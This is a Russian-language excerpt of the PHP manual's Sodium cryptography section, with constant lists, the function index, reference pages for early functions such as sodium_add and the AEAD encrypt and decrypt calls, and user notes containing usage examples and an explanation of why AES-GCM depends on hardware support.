SODIUM_CRYPTO_GENERICHASH_BYTES_MIN (int)
SODIUM_CRYPTO_GENERICHASH_BYTES_MAX (int)
SODIUM_CRYPTO_GENERICHASH_KEYBYTES (int)
SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN (int)
SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX (int)
SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 (int)
SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 (int)
SODIUM_CRYPTO_PWHASH_ALG_DEFAULT (int)
SODIUM_CRYPTO_PWHASH_SALTBYTES (int)
SODIUM_CRYPTO_PWHASH_STRPREFIX (string)
SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE (int)
SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE (int)
SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE (int)
SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE (int)
SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE (int)
SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX (string)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE (int)
SODIUM_CRYPTO_CORE_RISTRETTO255_BYTES (int)
Доступно, начиная с PHP 8.1.0.
SODIUM_CRYPTO_CORE_RISTRETTO255_HASHBYTES (int)
Доступно, начиная с PHP 8.1.0.
SODIUM_CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES (int)
Доступно, начиная с PHP 8.1.0.
SODIUM_CRYPTO_CORE_RISTRETTO255_SCALARBYTES (int)
Доступно, начиная с PHP 8.1.0.
SODIUM_CRYPTO_SCALARMULT_BYTES (int)
SODIUM_CRYPTO_SCALARMULT_SCALARBYTES (int)
SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_BYTES (int)
Доступно, начиная с PHP 8.1.0.
SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES (int)
Доступно, начиная с PHP 8.1.0.
SODIUM_CRYPTO_SHORTHASH_BYTES (int)
SODIUM_CRYPTO_SHORTHASH_KEYBYTES (int)
SODIUM_CRYPTO_SECRETBOX_KEYBYTES (int)
SODIUM_CRYPTO_SECRETBOX_MACBYTES (int)
SODIUM_CRYPTO_SECRETBOX_NONCEBYTES (int)
SODIUM_CRYPTO_SIGN_BYTES (int)
SODIUM_CRYPTO_SIGN_SEEDBYTES (int)
SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES (int)
SODIUM_CRYPTO_SIGN_SECRETKEYBYTES (int)
SODIUM_CRYPTO_SIGN_KEYPAIRBYTES (int)
SODIUM_CRYPTO_STREAM_NONCEBYTES (int)
SODIUM_CRYPTO_STREAM_KEYBYTES (int)
SODIUM_CRYPTO_STREAM_XCHACHA20_KEYBYTES (int)
Доступно, начиная с PHP 8.1.0.
SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES (int)
Доступно, начиная с PHP 8.1.0.

User Contributed Notes

There are no user contributed notes for this page.


Функции Sodium

Содержание

  • sodium_add — Добавляет большие числа
  • sodium_base642bin — Преобразует строку в кодировке base64 в необработанный двоичный файл
  • sodium_bin2base64 — Кодирует необработанную двоичную строку с помощью base64
  • sodium_bin2hex — Кодировать в шестнадцатеричное представление
  • sodium_compare — Сравнить большие числа
  • sodium_crypto_aead_aes256gcm_decrypt — Проверяет и расшифровывает сообщение с помощью AES-256-GCM
  • sodium_crypto_aead_aes256gcm_encrypt — Шифрует, а затем проверяет подлинность с помощью AES-256-GCM
  • sodium_crypto_aead_aes256gcm_is_available — Проверить, поддерживает ли оборудование AES256-GCM
  • sodium_crypto_aead_aes256gcm_keygen — Создаёт случайный ключ AES-256-GCM
  • sodium_crypto_aead_chacha20poly1305_decrypt — Проверяет, затем расшифровывает с помощью ChaCha20-Poly1305
  • sodium_crypto_aead_chacha20poly1305_encrypt — Шифрует, а затем проверяет подлинность с помощью ChaCha20-Poly1305
  • sodium_crypto_aead_chacha20poly1305_ietf_decrypt — Проверить, что зашифрованный текст содержит допустимый тег
  • sodium_crypto_aead_chacha20poly1305_ietf_encrypt — Зашифровать сообщение
  • sodium_crypto_aead_chacha20poly1305_ietf_keygen — Создаёт случайный ключ ChaCha20-Poly1305 (IETF)
  • sodium_crypto_aead_chacha20poly1305_keygen — Создаёт случайный ключ ChaCha20-Poly1305
  • sodium_crypto_aead_xchacha20poly1305_ietf_decrypt — (Предпочтительно) Проверяет, затем расшифровывает с помощью XChaCha20-Poly1305
  • sodium_crypto_aead_xchacha20poly1305_ietf_encrypt — (Предпочтительно) Шифрует, а затем проверяет подлинность с помощью XChaCha20-Poly1305
  • sodium_crypto_aead_xchacha20poly1305_ietf_keygen — Создаёт случайный ключ XChaCha20-Poly1305
  • sodium_crypto_auth_keygen — Создаёт случайный ключ для sodium_crypto_auth
  • sodium_crypto_auth_verify — Проверяет, допустим ли тег для сообщения
  • sodium_crypto_auth — Вычислить тег для сообщения
  • sodium_crypto_box_keypair_from_secretkey_and_publickey — Создаёт унифицированную строку ключевой пары из секретного и открытого ключей
  • sodium_crypto_box_keypair — Сгенерировать случайным образом секретный ключ и соответствующий ему открытый ключ
  • sodium_crypto_box_open — Расшифровка открытого ключа с проверкой подлинности
  • sodium_crypto_box_publickey_from_secretkey — Вычисляет открытый ключ из секретного ключа
  • sodium_crypto_box_publickey — Извлекает открытый ключ из ключевой пары crypto_box
  • sodium_crypto_box_seal_open — Расшифровка открытым ключом без проверки подлинности
  • sodium_crypto_box_seal — Шифрование открытым ключом без проверки подлинности
  • sodium_crypto_box_secretkey — Извлекает секретный ключ из ключевой пары crypto_box
  • sodium_crypto_box_seed_keypair — Детерминистический вывод ключевой пары из одного ключа
  • sodium_crypto_box — Шифрование открытым ключом с проверкой подлинности
  • sodium_crypto_core_ristretto255_add — Добавляет элемент
  • sodium_crypto_core_ristretto255_from_hash — Сопоставляет вектор
  • sodium_crypto_core_ristretto255_is_valid_point — Определяет, лежит ли точка на кривой ristretto255
  • sodium_crypto_core_ristretto255_random — Генерирует случайный ключ
  • sodium_crypto_core_ristretto255_scalar_add — Добавляет скалярное значение
  • sodium_crypto_core_ristretto255_scalar_complement — Назначение sodium_crypto_core_ristretto255_scalar_complement
  • sodium_crypto_core_ristretto255_scalar_invert — Инвертирует скалярное значение
  • sodium_crypto_core_ristretto255_scalar_mul — Умножает скалярное значение
  • sodium_crypto_core_ristretto255_scalar_negate — Отменяет скалярное значение
  • sodium_crypto_core_ristretto255_scalar_random — Генерирует случайный ключ
  • sodium_crypto_core_ristretto255_scalar_reduce — Уменьшает скалярное значение
  • sodium_crypto_core_ristretto255_scalar_sub — Вычитает скалярное значение
  • sodium_crypto_core_ristretto255_sub — Вычитает элемент
  • sodium_crypto_generichash_final — Закончить хеширование
  • sodium_crypto_generichash_init — Инициализирует хеш для потоковой передачи
  • sodium_crypto_generichash_keygen — Создаёт случайный общий хеш-ключ
  • sodium_crypto_generichash_update — Добавить сообщение к хешу
  • sodium_crypto_generichash — Получить хеш сообщения
  • sodium_crypto_kdf_derive_from_key — Извлечь подраздел
  • sodium_crypto_kdf_keygen — Создаёт случайный корневой ключ для интерфейса KDF
  • sodium_crypto_kx_client_session_keys — Вычисляет ключи сессии на стороне клиента
  • sodium_crypto_kx_keypair — Создаёт новую пару ключей sodium
  • sodium_crypto_kx_publickey — Извлекает открытый ключ из пары ключей crypto_kx
  • sodium_crypto_kx_secretkey — Извлекает секретный ключ из пары ключей crypto_kx
  • sodium_crypto_kx_seed_keypair — Описание
  • sodium_crypto_kx_server_session_keys — Вычисляет ключи сессии на стороне сервера
  • sodium_crypto_pwhash_scryptsalsa208sha256_str_verify — Проверить, что пароль является действительной строкой проверки пароля
  • sodium_crypto_pwhash_scryptsalsa208sha256_str — Получить закодированный в ASCII хеш
  • sodium_crypto_pwhash_scryptsalsa208sha256 — Получает ключ из пароля, используя scrypt
  • sodium_crypto_pwhash_str_needs_rehash — Определяет, следует ли повторно использовать пароль
  • sodium_crypto_pwhash_str_verify — Проверяет, что пароль соответствует хешу
  • sodium_crypto_pwhash_str — Получить ASCII-кодированный хеш
  • sodium_crypto_pwhash — Получает ключ из пароля, используя Argon2
  • sodium_crypto_scalarmult_base — Псевдоним sodium_crypto_box_publickey_from_secretkey
  • sodium_crypto_scalarmult_ristretto255_base — Вычисляет открытый ключ из закрытого ключа
  • sodium_crypto_scalarmult_ristretto255 — Вычисляет общий секрет
  • sodium_crypto_scalarmult — Вычислить общий секрет на основании секретного ключа пользователя и открытого ключа другого пользователя
  • sodium_crypto_secretbox_keygen — Создаёт случайный ключ для sodium_crypto_secretbox
  • sodium_crypto_secretbox_open — Расшифровка с использованием общего ключа с проверкой подлинности
  • sodium_crypto_secretbox — Шифрование с общим ключом с проверкой подлинности
  • sodium_crypto_secretstream_xchacha20poly1305_init_pull — Инициализирует контекст secretstream для дешифрования
  • sodium_crypto_secretstream_xchacha20poly1305_init_push — Инициализирует контекст secretstream для шифрования
  • sodium_crypto_secretstream_xchacha20poly1305_keygen — Создаёт случайный ключ secretstream
  • sodium_crypto_secretstream_xchacha20poly1305_pull — Расшифровывает часть данных из зашифрованного потока
  • sodium_crypto_secretstream_xchacha20poly1305_push — Шифрует фрагмент данных, чтобы его можно было безопасно расшифровать в потоковом API
  • sodium_crypto_secretstream_xchacha20poly1305_rekey — Явно поворачивает ключ в состояние secretstream
  • sodium_crypto_shorthash_keygen — Получить случайные байты для ключа
  • sodium_crypto_shorthash — Вычисляет короткий хеш сообщения и ключ
  • sodium_crypto_sign_detached — Подписать сообщение
  • sodium_crypto_sign_ed25519_pk_to_curve25519 — Преобразование открытого ключа системы Ed25519 в открытый ключ Curve25519
  • sodium_crypto_sign_ed25519_sk_to_curve25519 — Преобразовать секретный ключ из системы Ed25519 в секретный ключ Curve25519
  • sodium_crypto_sign_keypair_from_secretkey_and_publickey — Объединяет секретный ключ и открытый ключ вместе
  • sodium_crypto_sign_keypair — Произвольно сгенерировать секретный ключ и соответствующий открытый ключ
  • sodium_crypto_sign_open — Проверить, что подписанное сообщение имеет корректную подпись
  • sodium_crypto_sign_publickey_from_secretkey — Извлекает открытый ключ Ed25519 из секретного ключа
  • sodium_crypto_sign_publickey — Извлекает открытый ключ Ed25519 из пары ключей
  • sodium_crypto_sign_secretkey — Извлекает секретный ключ Ed25519 из пары ключей
  • sodium_crypto_sign_seed_keypair — Детерминированный вывод пары ключей из одного ключа
  • sodium_crypto_sign_verify_detached — Проверить подпись для сообщения
  • sodium_crypto_sign — Подписать сообщение
  • sodium_crypto_stream_keygen — Генерирует случайный ключ sodium_crypto_stream
  • sodium_crypto_stream_xchacha20_keygen — Возвращает безопасный случайный ключ
  • sodium_crypto_stream_xchacha20_xor_ic — Шифрует сообщение, используя неясный код и секретный ключ (без аутентификации)
  • sodium_crypto_stream_xchacha20_xor — Шифрует сообщение, используя одноразовый номер и секретный ключ (без аутентификации)
  • sodium_crypto_stream_xchacha20 — Расширяет ключ и одноразовый номер в ключевой поток псевдослучайных байтов
  • sodium_crypto_stream_xor — Шифрует сообщение без аутентификации
  • sodium_crypto_stream — Создаёт детерминированную последовательность байтов из начального числа
  • sodium_hex2bin — Декодирует строку в шестнадцатеричном представлении в бинарное
  • sodium_increment — Увеличить на единицу большое число
  • sodium_memcmp — Проверка на равенство за постоянное количество времени
  • sodium_memzero — Перезаписывает строку символами NULL
  • sodium_pad — Дополняет строку отступами
  • sodium_unpad — Удаление данных отступов

User Contributed Notes

There are no user contributed notes for this page.


Добавляет большие числа

  • « Функции Sodium
  • sodium_base642bin »
  • PHP Manual
  • Функции Sodium
  • Добавляет большие числа

sodium_add

(PHP 7 >= 7.2.0, PHP 8)

sodium_add — Добавляет большие числа

Описание

sodium_add(string &$string1, string $string2): void

Добавляет параметр string2 к string1, перезаписывая значение, хранящееся в string1. Функция предполагает, что оба параметра являются двоичными строками, которые представляют целые числа без знака в обратном порядке байтов.

Список параметров

string1

Строка, представляющая целое число произвольной длины без знака в обратном порядке байтов. Этот параметр передаётся по ссылке и будет содержать сумму двух параметров.

string2

Строка, представляющая целое число произвольной длины без знака в обратном порядке байтов.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Преобразует строку в кодировке base64 в необработанный двоичный файл

  • « sodium_add
  • sodium_bin2base64 »
  • PHP Manual
  • Функции Sodium
  • Преобразует строку в кодировке base64 в необработанный двоичный файл

sodium_base642bin

(PHP 7 >= 7.2.0, PHP 8)

sodium_base642bin — Преобразует строку в кодировке base64 в необработанный двоичный файл

Описание

sodium_base642bin(string $string, int $id, string $ignore = ""): string

Преобразует строку в кодировке base64 в необработанный двоичный файл. В отличие от base64_decode(), sodium_base642bin() является постоянным по времени (свойство, которое важно для любого кода, который касается криптографических входных данных, таких как простые тексты или ключи) и поддерживает несколько наборов символов.

Список параметров

string

Строка (string); Закодированная строка.

id

  • SODIUM_BASE64_VARIANT_ORIGINAL для стандартного (A-Za-z0-9/\+). Кодировка Base64.
  • SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING для стандартного (A-Za-z0-9/\+) Кодировка Base64 без дополнительных символов =.
  • SODIUM_BASE64_VARIANT_URLSAFE для URL-безопасного (A-Za-z0-9\-_). Кодировка Base64.
  • SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING for URL-safe (A-Za-z0-9\-_). Кодировка Base64 без дополнительных символов =.

ignore

Символы, которые следует игнорировать во время преобразования (например, символы пробела).

Возвращаемые значения

Преобразованная строка.

User Contributed Notes

There are no user contributed notes for this page.


Кодирует необработанную двоичную строку с помощью base64

  • « sodium_base642bin
  • sodium_bin2hex »
  • PHP Manual
  • Функции Sodium
  • Кодирует необработанную двоичную строку с помощью base64

sodium_bin2base64

(PHP 7 >= 7.2.0, PHP 8)

sodium_bin2base64 — Кодирует необработанную двоичную строку с помощью base64

Описание

sodium_bin2base64(string $string, int $id): string

Преобразует необработанную двоичную строку в строку в кодировке base64. В отличие от base64_encode(), sodium_bin2base64() является постоянной по времени (свойство, которое важно для любого кода, который касается криптографических входных данных, таких как простые тексты или ключи), и поддерживает несколько наборов символов.

Список параметров

string

Необработанная двоичная строка.

id

  • SODIUM_BASE64_VARIANT_ORIGINAL для стандартного (A-Za-z0-9/\+) Кодировка Base64.
  • SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING for standard (A-Za-z0-9/\+) Кодировка Base64 без дополнительных символов =.
  • SODIUM_BASE64_VARIANT_URLSAFE для URL-безопасного (A-Za-z0-9\-_) Кодировка Base64.
  • SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING для URL-безопасного (A-Za-z0-9\-_) Кодировка Base64 без дополнительных символов =.

Возвращаемые значения

Строка в кодировке Base64.

User Contributed Notes

davidw at example dot com 02-Apr-2019 04:53
bin: The data you wish to encode
id: The variant of encoding to use, which can be one of the following constants. You'll need to reuse this value when decoding with sodium_base642bin.

SODIUM_BASE64_VARIANT_ORIGINAL            = 1
SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING = 3
SODIUM_BASE64_VARIANT_URLSAFE             = 5
SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING  = 7


Кодировать в шестнадцатеричное представление

  • « sodium_bin2base64
  • sodium_compare »
  • PHP Manual
  • Функции Sodium
  • Кодировать в шестнадцатеричное представление

sodium_bin2hex

(PHP 7 >= 7.2.0, PHP 8)

sodium_bin2hex — Кодировать в шестнадцатеричное представление

Описание

sodium_bin2hex(string $string): string

Преобразует необработанную двоичную строку в строку в шестнадцатеричной кодировке. В отличие от стандартной функции шестнадцатеричного кодирования, sodium_bin2hex() является постоянной по времени (свойство, которое важно для любого кода, который касается криптографических данных, таких как тексты или ключи).

Список параметров

string

Необработанная двоичная строка.

Возвращаемые значения

Строка в шестнадцатеричном коде.

User Contributed Notes

There are no user contributed notes for this page.


Сравнить большие числа

  • « sodium_bin2hex
  • sodium_crypto_aead_aes256gcm_decrypt »
  • PHP Manual
  • Функции Sodium
  • Сравнить большие числа

sodium_compare

(PHP 7 >= 7.2.0, PHP 8)

sodium_compare — Сравнить большие числа

Описание

sodium_compare(string $string1, string $string2): int

Сравнивает две строки, как если бы они были целыми числами произвольной длины без знака с прямым порядком байтов, без утечки из побочного канала.

Список параметров

string1

Левый операнд

string2

Правый операнд

Возвращаемые значения

Возвращает -1, если string1 меньше string2.

Возвращает 1, если string1 больше string2.

Возвращает 0, если строки равны.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет и расшифровывает сообщение с помощью AES-256-GCM

  • « sodium_compare
  • sodium_crypto_aead_aes256gcm_encrypt »
  • PHP Manual
  • Функции Sodium
  • Проверяет и расшифровывает сообщение с помощью AES-256-GCM

sodium_crypto_aead_aes256gcm_decrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_aes256gcm_decrypt — Проверяет и расшифровывает сообщение с помощью AES-256-GCM

Описание

sodium_crypto_aead_aes256gcm_decrypt(
string $ciphertext,
string $additional_data,
string $nonce,
string $key
): string|false

Проверяет и расшифровывает сообщение с помощью AES-256-GCM Доступно, только если sodium_crypto_aead_aes256gcm_is_available() возвращает true.

Список параметров

ciphertext

Должен быть в формате, предоставленном sodium_crypto_aead_aes256gcm_encrypt() (зашифрованный текст и тег, объединённые).

additional_data

Дополнительные проверенные данные. Это используется при проверке тега аутентификации, добавленного к зашифрованному тексту, но он не шифруется и не сохраняется в зашифрованном тексте.

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 12 байт.

key

Ключ шифрования (256 бит).

Возвращаемые значения

В случае успешного выполнения возвращает текст или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Шифрует, а затем проверяет подлинность с помощью AES-256-GCM

  • « sodium_crypto_aead_aes256gcm_decrypt
  • sodium_crypto_aead_aes256gcm_is_available »
  • PHP Manual
  • Функции Sodium
  • Шифрует, а затем проверяет подлинность с помощью AES-256-GCM

sodium_crypto_aead_aes256gcm_encrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_aes256gcm_encrypt — Шифрует, а затем проверяет подлинность с помощью AES-256-GCM

Описание

sodium_crypto_aead_aes256gcm_encrypt(
string $message,
string $additional_data,
string $nonce,
string $key
): string

Шифрует, а затем проверяет подлинность с помощью AES-256-GCM. Доступно, только если sodium_crypto_aead_aes256gcm_is_available() возвращает true.

Список параметров

message

Текстовое сообщение, которое нужно зашифровать.

additional_data

Дополнительные проверенные данные. Это используется при проверке тега подлинности, добавленного к зашифрованному тексту, но он не шифруется и не сохраняется в зашифрованном тексте.

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 12 байт.

key

Ключ шифрования (256 бит).

Возвращаемые значения

Возвращает зашифрованный текст и тег проверки подлинности в виде строки необработанных двоичных байтов. (Формат: зашифрованный текст, затем тег.)

User Contributed Notes

There are no user contributed notes for this page.


Проверить, поддерживает ли оборудование AES256-GCM

  • « sodium_crypto_aead_aes256gcm_encrypt
  • sodium_crypto_aead_aes256gcm_keygen »
  • PHP Manual
  • Функции Sodium
  • Проверить, поддерживает ли оборудование AES256-GCM

sodium_crypto_aead_aes256gcm_is_available

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_aes256gcm_is_available — Проверить, поддерживает ли оборудование AES256-GCM

Описание

sodium_crypto_aead_aes256gcm_is_available(): bool

Возвращаемое значение этой функции зависит от того, поддерживает ли оборудование аппаратное ускорение AES.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если шифрование с помощью AES-256-GCM безопасно, в противном случае возвращает false.

User Contributed Notes

Soatok Dreamseeker 07-Jun-2021 08:12
The reason libsodium has an "is_available()" API for AES-GCM and not the ChaCha-Poly AEAD ciphers is that, unlike OpenSSL, libsodium will not expose AES-GCM unless your processor supports hardware-accelerated AES and PCLMULQDQ instructions.

If you're wondering what that means: software AES is vulnerable to cache-timing vulnerabilities, due to its internal dependence on table look-ups: https://cr.yp.to/antiforgery/cachetiming-20050414.pdf (PDF)

There's a similar attack on the authentication step in GCM (called GMAC or GHASH, depending on context), which leaks the GHASH key (called H) and can be used to perform chosen-ciphertext attacks freely.

- You can learn more about GCM exploits here (under the condition of nonce reuse rather than timing leaks, but the consequence is the same): https://www.youtube.com/watch?v=uxuXFK5XKEU

- You can learn more about AES-GCM here: https://soatok.blog/2020/05/13/why-aes-gcm-sucks/

- You can learn more about how it compares to other encryption modes here: https://soatok.blog/2020/07/12/comparison-of-symmetric-encryption-methods/

The other AEAD modes are safe to implement in software without risk of side-channel leakage.

The take-away is: AES-GCM isn't guaranteed to be available on all hardware because, without hardware support, libsodium will not provide insecure implementations.

If you want something guaranteed to be available even on hardware you do not control (hello open source maintainers), your choices are ChaCha20-Poly1305 and XChaCha20-Poly1305.

If you can control the hardware and explicitly need AES-GCM (n.b. for FIPS 140-2 validation), feel free to use AES-256-GCM.

<?php
function do_something(string $message, CryptoKeyObject $key): string {
    if (!sodium_crypto_aead_aes256gcm_is_available()) {
        throw new Exception("AES-256-GCM isn't available on your hardware");
    }
    // ... your code here ...
}
?>


Создаёт случайный ключ AES-256-GCM

  • « sodium_crypto_aead_aes256gcm_is_available
  • sodium_crypto_aead_chacha20poly1305_decrypt »
  • PHP Manual
  • Функции Sodium
  • Создаёт случайный ключ AES-256-GCM

sodium_crypto_aead_aes256gcm_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_aes256gcm_keygen — Создаёт случайный ключ AES-256-GCM

Описание

sodium_crypto_aead_aes256gcm_keygen(): string

Создаёт случайный ключ для использования в sodium_crypto_aead_aes256gcm_encrypt() и sodium_crypto_aead_aes256gcm_decrypt().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает 256-битный случайный ключ.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, затем расшифровывает с помощью ChaCha20-Poly1305

  • « sodium_crypto_aead_aes256gcm_keygen
  • sodium_crypto_aead_chacha20poly1305_encrypt »
  • PHP Manual
  • Функции Sodium
  • Проверяет, затем расшифровывает с помощью ChaCha20-Poly1305

sodium_crypto_aead_chacha20poly1305_decrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_decrypt — Проверяет, затем расшифровывает с помощью ChaCha20-Poly1305

Описание

sodium_crypto_aead_chacha20poly1305_decrypt(
string $ciphertext,
string $additional_data,
string $nonce,
string $key
): string|false

Проверяет, затем расшифровывает с помощью ChaCha20-Poly1305

Список параметров

ciphertext

Должен быть в формате, предоставленном sodium_crypto_aead_chacha20poly1305_encrypt() (зашифрованный текст и тег, объединённые).

additional_data

Дополнительные проверенные данные. Это используется при проверке тега подлинности, добавленного к зашифрованному тексту, но он не шифруется и не сохраняется в зашифрованном тексте.

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 8 байт.

key

Ключ шифрования (256 бит).

Возвращаемые значения

В случае успешного выполнения возвращает текст или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Шифрует, а затем проверяет подлинность с помощью ChaCha20-Poly1305

  • « sodium_crypto_aead_chacha20poly1305_decrypt
  • sodium_crypto_aead_chacha20poly1305_ietf_decrypt »
  • PHP Manual
  • Функции Sodium
  • Шифрует, а затем проверяет подлинность с помощью ChaCha20-Poly1305

sodium_crypto_aead_chacha20poly1305_encrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_encrypt — Шифрует, а затем проверяет подлинность с помощью ChaCha20-Poly1305

Описание

sodium_crypto_aead_chacha20poly1305_encrypt(
string $message,
string $additional_data,
string $nonce,
string $key
): string

Шифрует, а затем проверяет подлинность с помощью ChaCha20-Poly1305

Список параметров

message

Текстовое сообщение, которое нужно зашифровать.

additional_data

Дополнительные проверенные данные. Это используется при проверке тега подлинности, добавленного к зашифрованному тексту, но он не шифруется и не сохраняется в зашифрованном тексте.

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 8 байт.

key

Ключ шифрования (256 бит).

Возвращаемые значения

В случае успешного выполнения возвращает зашифрованный текст и тег или false в случае возникновения ошибки.

User Contributed Notes

alain at fuz dot org 13-Mar-2023 06:30
A flip/flop unit test to give you a sample:

<?php

use PHPUnit\Framework\TestCase;

class SodiumTest extends TestCase
{
    public function testSodium()
    {
        // or 32 cryptographically secure bytes
        // store the key securely with other secrets in your app
       $key = sodium_crypto_aead_xchacha20poly1305_ietf_keygen();

        // 8-bytes nonce should be stored along with the ciphertext (will be needed for decryption)
        // It is not sensitive, you may just prepend it before the ciphertext.
        $nonce = random_bytes(SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES);

        $flip = 'Hello, world!';
        $ciphertext = sodium_crypto_aead_chacha20poly1305_encrypt($flip, $nonce, $nonce, $key);
        $flop = sodium_crypto_aead_chacha20poly1305_decrypt($ciphertext, $nonce, $nonce, $key);

        $this->assertEquals($flip, $flop);
    }
}

?>

Side note: the nonce is used twice in this test, but you can use a username, an identifier or whatever you like in `$additional_data`


Проверить, что зашифрованный текст содержит допустимый тег

  • « sodium_crypto_aead_chacha20poly1305_encrypt
  • sodium_crypto_aead_chacha20poly1305_ietf_encrypt »
  • PHP Manual
  • Функции Sodium
  • Проверить, что зашифрованный текст содержит допустимый тег

sodium_crypto_aead_chacha20poly1305_ietf_decrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_ietf_decrypt — Проверить, что зашифрованный текст содержит допустимый тег

Описание

sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
string $ciphertext,
string $additional_data,
string $nonce,
string $key
): string|false

Проверяет, затем расшифровывает с помощью ChaCha20-Poly1305 (вариант IETF).

Вариант IETF использует 96-битные одноразовые номера и 32-битные внутренние счётчики вместо 64-битных и для того и для другого.

Список параметров

ciphertext

Должен быть в формате, предоставленном sodium_crypto_aead_chacha20poly1305_ietf_encrypt() (зашифрованный текст и тег, объединённые).

additional_data

Дополнительные проверенные данные. Это используется при проверке тега подлинности, добавленного к зашифрованному тексту, но он не шифруется и не сохраняется в зашифрованном тексте.

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 12 байт.

key

Ключ шифрования (256 бит).

Возвращаемые значения

В случае успешного выполнения возвращает текст или false в случае возникновения ошибки.

User Contributed Notes

joy at codilar dot com 13-Aug-2019 07:31
sodium_crypto_aead_chacha20poly1305_ietf_decrypt function mentions in its documentation that it'll always return a string. But when passed a malformed input as argument, it returns a boolean


Зашифровать сообщение

  • « sodium_crypto_aead_chacha20poly1305_ietf_decrypt
  • sodium_crypto_aead_chacha20poly1305_ietf_keygen »
  • PHP Manual
  • Функции Sodium
  • Зашифровать сообщение

sodium_crypto_aead_chacha20poly1305_ietf_encrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_ietf_encrypt — Зашифровать сообщение

Описание

sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
string $message,
string $additional_data,
string $nonce,
string $key
): string

Шифрует, а затем проверяет подлинность с помощью ChaCha20-Poly1305 (вариант IETF).

Вариант IETF использует 96-битные одноразовые номера и 32-битные внутренние счётчики вместо 64-битных и для того и для другого.

Список параметров

message

Текстовое сообщение, которое нужно зашифровать.

additional_data

Дополнительные проверенные данные. Это используется при проверке тега подлинности, добавленного к зашифрованному тексту, но он не шифруется и не сохраняется в зашифрованном тексте.

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 12 байт.

key

Ключ шифрования (256 бит).

Возвращаемые значения

В случае успешного выполнения возвращает зашифрованный текст и тег или false в случае возникновения ошибки.

User Contributed Notes

craig at craigfrancis dot co dot uk 23-Jan-2018 01:37
Here's a quick example on how to use sodium_crypto_aead_chacha20poly1305_ietf_encrypt(); where you have 1 key to encrypt and decrypt.

<?php

$key = sodium_crypto_aead_chacha20poly1305_ietf_keygen();

//--------------------------------------------------
// Encrypting

$message = 'hello';

$nonce = random_bytes(SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES);

$encrypted = sodium_crypto_aead_chacha20poly1305_ietf_encrypt($message, $nonce, $nonce, $key);

echo base64_encode($encrypted) . "\n";

//--------------------------------------------------
// Decrypting

$decrypted = sodium_crypto_aead_chacha20poly1305_ietf_decrypt($encrypted, $nonce, $nonce, $key);

echo $decrypted . "\n";

?>

And just to confirm, the $nonce is used twice - the first time it's in the authentication tag ($ad):

https://twitter.com/craigfrancis/status/949614546259513344


Создаёт случайный ключ ChaCha20-Poly1305 (IETF)

  • « sodium_crypto_aead_chacha20poly1305_ietf_encrypt
  • sodium_crypto_aead_chacha20poly1305_keygen »
  • PHP Manual
  • Функции Sodium
  • Создаёт случайный ключ ChaCha20-Poly1305 (IETF)

sodium_crypto_aead_chacha20poly1305_ietf_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_ietf_keygen — Создаёт случайный ключ ChaCha20-Poly1305 (IETF)

Описание

sodium_crypto_aead_chacha20poly1305_ietf_keygen(): string

